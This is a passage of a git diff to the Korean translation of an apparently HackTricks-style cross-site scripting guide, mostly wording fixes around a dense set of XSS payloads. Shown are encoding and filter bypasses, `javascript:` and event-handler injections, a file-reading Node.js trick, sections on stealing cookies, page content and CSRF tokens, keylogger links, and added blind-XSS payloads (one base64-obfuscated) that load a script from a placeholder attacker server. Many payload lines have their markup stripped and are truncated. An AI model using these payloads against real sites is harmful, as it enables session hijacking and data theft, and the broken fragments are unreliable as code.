태그가 HTML 코드 안에 있다는 것을 인식하지 못합니다. +- **JS 문자열 안에 반영되는 경우** 마지막 트릭이 작동하지 않으면 문자열에서 **나가고**, **코드를 실행**하고 **JS 코드를 재구성**해야 합니다(오류가 발생하면 실행되지 않습니다): - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` @@ -124,16 +124,16 @@ some-same-origin-method-execution.md ### DOM -**JS 코드**가 **공격자에 의해 제어되는** 일부 **데이터**를 **안전하지 않게** 사용하고 있습니다, 예를 들어 `location.href`. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다. +**JS 코드**가 **공격자가 제어하는** **데이터**를 **안전하지 않게** 사용하고 있습니다, 예를 들어 `location.href`. 공격자는 이를 악용하여 임의의 JS 코드를 실행할 수 있습니다. {{#ref}} dom-xss.md {{#endref}} -### **Universal XSS** +### **유니버설 XSS** -이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 데 악용될 수 있습니다, 그리고 더 많은 것들이 가능합니다.\ -일부 **예시**: +이러한 종류의 XSS는 **어디에서나** 발견될 수 있습니다. 이는 웹 애플리케이션의 클라이언트 익스플로잇에만 의존하지 않고 **모든** **컨텍스트**에 의존합니다. 이러한 종류의 **임의 JavaScript 실행**은 **RCE**를 얻거나, 클라이언트와 서버에서 **임의의 파일을 읽는** 등의 악용이 가능합니다.\ +몇 가지 **예시**: {{#ref}} server-side-xss-dynamic-pdf.md @@ -150,8 +150,8 @@ server-side-xss-dynamic-pdf.md ## 원시 HTML 내에서 주입 당신의 입력이 **HTML 페이지 내에서 반영**되거나 이 컨텍스트에서 HTML 코드를 이스케이프하고 주입할 수 있다면, **첫 번째**로 해야 할 일은 `<`를 악용하여 새로운 태그를 생성할 수 있는지 확인하는 것입니다: 그 **문자**를 **반영**해보고 그것이 **HTML 인코딩**되었는지 또는 **삭제**되었는지, 아니면 **변경 없이 반영**되었는지 확인하십시오. **마지막 경우에만 이 경우를 악용할 수 있습니다**.\ -이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 염두에 두십시오.\ -_**참고: HTML 주석은 `-->` 또는 `--!>`를 사용하여 닫을 수 있습니다.**_ +이 경우에도 **[클라이언트 측 템플릿 주입](../client-side-template-injection-csti.md)**을 **염두에 두십시오**.\ +_**참고: HTML 주석은 `-->` 또는 `--!>`로 닫을 수 있습니다.**_ 이 경우 블랙/화이트리스트가 사용되지 않는다면, 다음과 같은 페이로드를 사용할 수 있습니다: ```html @@ -170,11 +170,11 @@ alert(1) ### 사용자 정의 태그 -유효한 HTML 태그를 찾지 못한 경우, **사용자 정의 태그를 생성**하고 `onfocus` 속성으로 JS 코드를 실행해 볼 수 있습니다. XSS 요청에서 URL을 `#`로 끝내야 페이지가 **해당 객체에 포커스**하고 **코드를 실행**합니다: +유효한 HTML 태그를 찾지 못했다면, **사용자 정의 태그를 생성**하고 `onfocus` 속성으로 JS 코드를 실행해 볼 수 있습니다. XSS 요청에서 URL을 `#`로 끝내야 페이지가 **해당 객체에 포커스**하고 **코드를 실행**합니다: ``` /?search=#x ``` -### Blacklist Bypasses +### 블랙리스트 우회 어떤 종류의 블랙리스트가 사용되고 있다면, 몇 가지 간단한 트릭으로 이를 우회해 볼 수 있습니다: ```javascript @@ -226,7 +226,7 @@ onerror=alert`1` //Use more than one <
``` -### Within the attribute +### 속성 내에서 -Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\ -Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`** +속성에서 **탈출할 수 없는 경우**(`"`가 인코딩되거나 삭제됨)에도 불구하고, **어떤 속성**에 값이 반영되는지에 따라 **모든 값 또는 일부만 제어할 수 있는 경우** 이를 악용할 수 있습니다. **예를 들어**, `onclick=`와 같은 이벤트를 제어하면 클릭할 때 임의의 코드를 실행할 수 있습니다.\ +또 다른 흥미로운 **예**는 `href` 속성으로, 여기서 `javascript:` 프로토콜을 사용하여 임의의 코드를 실행할 수 있습니다: **`href="javascript:alert(1)"`** -**이벤트 내에서 HTML 인코딩/URL 인코딩을 사용한 우회** +**HTML 인코딩/URL 인코딩을 사용한 이벤트 내 우회** -The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `Go Back ` +HTML 태그 속성의 값 내 **HTML 인코딩된 문자**는 **런타임에 디코딩됩니다**. 따라서 다음과 같은 것이 유효합니다(페이로드는 굵게 표시됨): `Go Back ` -Note that **any kind of HTML encode is valid**: +**모든 종류의 HTML 인코딩이 유효하다는 점에 유의하세요**: ```javascript //HTML entities '-alert(1)-' @@ -295,7 +295,7 @@ Note that **any kind of HTML encode is valid**: ```python Click ``` -**유니코드 인코딩을 사용하여 내부 이벤트 우회** +**유니코드 인코드를 사용하여 내부 이벤트 우회** ```javascript //For some reason you can use unicode to encode "alert" but not "(1)" @@ -325,7 +325,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc ``` **이 프로토콜을 주입할 수 있는 장소** -**일반적으로** `javascript:` 프로토콜은 **`href` 속성을 허용하는 모든 태그**와 **대부분의** **`src` 속성을 허용하는 태그**에서 사용할 수 있습니다 (단, ``는 제외). +**일반적으로** `javascript:` 프로토콜은 **`href`** 속성을 허용하는 모든 태그와 **대부분의** **`src`** 속성을 허용하는 태그에서 사용할 수 있습니다 (단, ``는 제외). ```html @@ -351,17 +351,17 @@ _**이 경우, 이전 섹션의 HTML 인코딩 및 유니코드 인코딩 기법 ```javascript ``` -또한 이러한 경우에 대한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 내부에서 URL 인코딩되더라도, 실행되기 전에 URL 디코딩됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**되고 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다. +또한, 이러한 경우를 위한 또 다른 **멋진 트릭**이 있습니다: **입력이 `javascript:...` 안에 있을 때 URL 인코딩이 되어 있더라도, 실행되기 전에 URL 디코딩이 됩니다.** 따라서 **단일 인용부호**를 사용하여 **문자열**에서 **탈출**해야 하고 **URL 인코딩**이 되어 있는 것을 본다면, **상관없습니다,** 실행 시간 동안 **단일 인용부호**로 **해석**됩니다. ```javascript '-alert(1)-' %27-alert(1)-%27 ``` -다음 사항에 유의하세요. **페이로드**를 인코딩하기 위해 `URLencode + HTMLencode`를 어떤 순서로 사용하더라도 **작동하지 않습니다**, 하지만 **페이로드 안에서 혼합할 수 있습니다**. +다음에 유의하세요. **페이로드**를 인코딩하기 위해 `URLencode + HTMLencode`를 어떤 순서로 사용하더라도 **작동하지 않습니다**, 하지만 **페이로드 안에서 혼합할 수 있습니다**. **`javascript:`와 함께 Hex 및 Octal 인코딩 사용하기** -`iframe`의 `src` 속성 안에서 **Hex** 및 **Octal 인코딩**을 사용할 수 있습니다 (최소한) **JS를 실행하기 위한 HTML 태그를 선언하기 위해**: +**Hex** 및 **Octal 인코딩**을 사용하여 `iframe`의 `src` 속성 안에서 (최소한) **JS를 실행할 HTML 태그를 선언할 수 있습니다**: ```javascript //Encoded: // This WORKS @@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
Newsletter popup
``` -다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, **희생자**가 **키 조합**을 누르도록 **설득**할 수 있습니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다: +다음에서 [**여기**](https://portswigger.net/research/xss-in-hidden-input-fields): **숨겨진 속성** 내에서 **XSS 페이로드**를 실행할 수 있으며, 이를 위해 **희생자**가 **키 조합**을 누르도록 **설득**해야 합니다. Firefox Windows/Linux에서 키 조합은 **ALT+SHIFT+X**이고, OS X에서는 **CTRL+ALT+X**입니다. 접근 키 속성에서 다른 키를 사용하여 다른 키 조합을 지정할 수 있습니다. 벡터는 다음과 같습니다: ```html ``` @@ -448,11 +448,11 @@ onbeforetoggle="alert(2)" /> ### CSS-가젯 -웹의 **아주 작은 부분**에서 XSS를 발견한 경우, 상호작용이 필요한 경우 (예: 마우스 오버 요소가 있는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다. +웹의 **아주 작은 부분**에서 XSS를 발견하고 상호작용이 필요한 경우(예: 마우스 오버 요소가 있는 푸터의 작은 링크), **해당 요소가 차지하는 공간을 수정**하여 링크가 실행될 확률을 극대화할 수 있습니다. 예를 들어, 요소에 다음과 같은 스타일을 추가할 수 있습니다: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` -하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어, +하지만 WAF가 스타일 속성을 필터링하는 경우, CSS 스타일링 가젯을 사용할 수 있습니다. 예를 들어 > .test {display:block; color: blue; width: 100%\} @@ -460,7 +460,7 @@ onbeforetoggle="alert(2)" /> > \#someid {top: 0; font-family: Tahoma;} -이제 링크를 수정하여 다음 형식으로 만들 수 있습니다. +이제 링크를 수정하여 다음과 같은 형태로 만들 수 있습니다. > \
@@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" /> ## JavaScript 코드 내 주입 -이 경우 **입력**이 `.js` 파일의 JS 코드 내에 **반영될** 것이거나 `` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 수용하는 속성 사이에 있을 것입니다. +이 경우 **입력**은 `.js` 파일의 JS 코드 내에 **반영될 것입니다** 또는 `` 태그 사이, JS 코드를 실행할 수 있는 HTML 이벤트 사이, 또는 `javascript:` 프로토콜을 수용하는 속성 사이에 있을 수 있습니다. ### \ ``` @@ -897,7 +897,7 @@ import moment from "moment" import { partition } from "lodash" ``` -이 동작은 [**이 글**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하여 XSS를 유발할 수 있는 악용을 위해 사용되었습니다. +이 동작은 [**이 글**](https://github.com/zwade/yaca/tree/master/solution)에서 라이브러리를 eval로 재매핑하여 XSS를 유발할 수 있도록 악용하는 데 사용되었습니다. - [**speculationrules**](https://github.com/WICG/nav-speculation)**:** 이 기능은 주로 프리 렌더링으로 인해 발생하는 몇 가지 문제를 해결하기 위한 것입니다. 작동 방식은 다음과 같습니다: ```html @@ -946,7 +946,7 @@ import { partition } from "lodash" 예를 들어 [**이 글**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)에서는 스크립트 내에서 **JSON 문자열을 이스케이프**하고 임의의 코드를 실행하는 데 사용되었습니다. -### Chrome 캐시에서 XSS로 +### Chrome 캐시에서 XSS {{#ref}} chrome-cache-to-xss.md @@ -994,7 +994,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - `require`에 간접적으로 접근하기 -[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에 래핑됩니다, 다음과 같이: +[이것에 따르면](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) 모듈은 Node.js에 의해 함수 내에서 래핑됩니다, 다음과 같이: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code @@ -1009,7 +1009,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -이전 예와 유사하게, **error handlers**를 사용하여 모듈의 **wrapper**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다: +이전 예제와 유사하게, **오류 처리기**를 사용하여 모듈의 **래퍼**에 접근하고 **`require`** 함수를 얻는 것이 가능합니다: ```javascript try { null.f() @@ -1231,7 +1231,7 @@ o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o] ``` ## XSS 일반 페이로드 -### 여러 페이로드를 1개로 +### 여러 페이로드를 하나로 {{#ref}} steal-info-js.md @@ -1239,7 +1239,7 @@ steal-info-js.md ### Iframe 트랩 -사용자가 iframe을 종료하지 않고 페이지를 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함): +사용자가 iframe을 벗어나지 않고 페이지 내에서 탐색하게 하여 그의 행동을 훔치고 (양식에 전송된 정보 포함): {{#ref}} ../iframe-traps.md @@ -1268,7 +1268,7 @@ steal-info-js.md ``` > [!NOTE] -> 당신은 **HTTPOnly 플래그가 쿠키에 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다**. 하지만 여기 [이 보호를 우회하는 몇 가지 방법이 있습니다](../hacking-with-cookies/index.html#httponly) 운이 좋다면. +> 당신은 **HTTPOnly 플래그가 쿠키에 설정되어 있다면 JavaScript에서 쿠키에 접근할 수 없습니다**. 하지만 여기 [이 보호를 우회하는 몇 가지 방법이 있습니다](../hacking-with-cookies/index.html#httponly) 만약 운이 좋다면. ### 페이지 콘텐츠 훔치기 ```javascript @@ -1387,7 +1387,7 @@ body:username.value+':'+this.value - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) -- 메타스플로잇 `http_javascript_keylogger`를 사용할 수도 있습니다. +- 메타스플로잇 `http_javascript_keylogger`도 사용할 수 있습니다. ### CSRF 토큰 훔치기 ```javascript @@ -1471,10 +1471,35 @@ You can also use: [https://xsshunter.com/](https://xsshunter.com)
+ + + +'"> + + +'"> + + +'"> + + +javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==")) + + +'"> + + + + + + + + +{{constructor.constructor("import('{SERVER}/script.js')")()}} ``` ### Regex - Access Hidden Content -[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값이 제거된 후에도 REGEX의 입력값을 여전히 찾을 수 있습니다: +[**이 글**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 여전히 다른 객체의 JS 속성에서 찾을 수 있습니다. 예를 들어, REGEX의 입력값은 정규 표현식의 입력값이 제거된 후에도 여전히 찾을 수 있습니다: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1501,7 +1526,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt ### Markdown에서의 XSS -렌더링될 Markdown 코드를 주입할 수 있나요? 아마도 XSS를 얻을 수 있을 것입니다! 확인해 보세요: +렌더링될 Markdown 코드를 주입할 수 있나요? 아마도 XSS를 얻을 수 있을 것입니다! 확인해보세요: {{#ref}} xss-in-markdown.md @@ -1509,7 +1534,7 @@ xss-in-markdown.md ### SSRF로의 XSS -**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 사용하여 **SSRF로 업그레이드**해 보세요: +**캐싱을 사용하는 사이트**에서 XSS를 얻었나요? 이 페이로드를 사용하여 **SSRF로 업그레이드**해보세요: ```python ``` @@ -1535,7 +1560,7 @@ pdf-injection.md AMP는 모바일 장치에서 웹 페이지 성능을 가속화하기 위해 HTML 태그와 JavaScript를 보완하여 기능성을 보장하며 속도와 보안에 중점을 둡니다. 다양한 기능을 위한 여러 구성 요소를 지원하며, [AMP 구성 요소](https://amp.dev/documentation/components/?format=websites)를 통해 접근할 수 있습니다. -[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 콘텐츠와 직접 상호작용할 수 있도록 합니다. +[**이메일용 AMP**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 형식은 특정 AMP 구성 요소를 이메일로 확장하여 수신자가 이메일 내에서 직접 콘텐츠와 상호작용할 수 있도록 합니다. 예시 [**Gmail의 Amp4Email에서 XSS 작성**](https://adico.me/post/xss-in-gmail-s-amp4email). @@ -1597,20 +1622,21 @@ id="foo"/> ```xml ``` -**더 많은 SVG 페이로드를 찾으세요** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## 기타 JS 트릭 및 관련 정보 +## Misc JS Tricks & Relevant Info {{#ref}} other-js-tricks.md {{#endref}} -## XSS 리소스 +## XSS resources - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection) - [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list) - [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) - [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) +- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) {{#include ../../banners/hacktricks-training.md}}